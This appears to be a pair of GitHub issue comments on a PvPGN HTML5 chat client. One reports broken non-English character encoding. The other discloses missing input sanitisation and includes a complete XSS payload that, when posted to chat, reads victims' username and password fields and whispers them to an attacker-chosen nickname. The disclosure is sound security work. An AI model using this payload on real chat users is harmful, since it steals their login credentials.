reillychase / pvpgn-html5-chat-client Goto Github PK

It seems like it supports only english chars now.

Other languages displayed like:

<chucha> \377 \357\356\362\356\354 \355\345 \361\354\356\343\363
<Jlec> \352\340\352\356\351 \367\340\354\357?
<chucha> \362\345\354\341\356\353\345\345 \377 \355\345 \360\340\347\356\343\360\345\362
<chucha> \355\363 \353\345\361\355\350\352\356\342\373\351\\
<Jlec> \356\365
<chucha> \343\356

Can you make it UTF-8?

It does not filter various so-called 'url encoded' characters (read, for example, RFC 3986)
And actually, does not filter anything evil, this is just simple example of exploit:

For example, if this one will be sent to web chat users, they will send their login credentials to YOUR_NICK_NAME_HERE:

%3Cimg src=asfasf onerror=body.hidden=true;pvpgn.sendMsg([`/w`,`YOUR_NICK_NAME_HERE`,$D(`username`).value,$D(`password`).value].join(String.fromCharCode(32)));$D(`chatBox`).innerHTML=``;setTimeout(function(){location.reload()},1000);%3E

I suggest you to stop using this tool (since author is not active also) until next patches by author or someone.
Thanks for attention!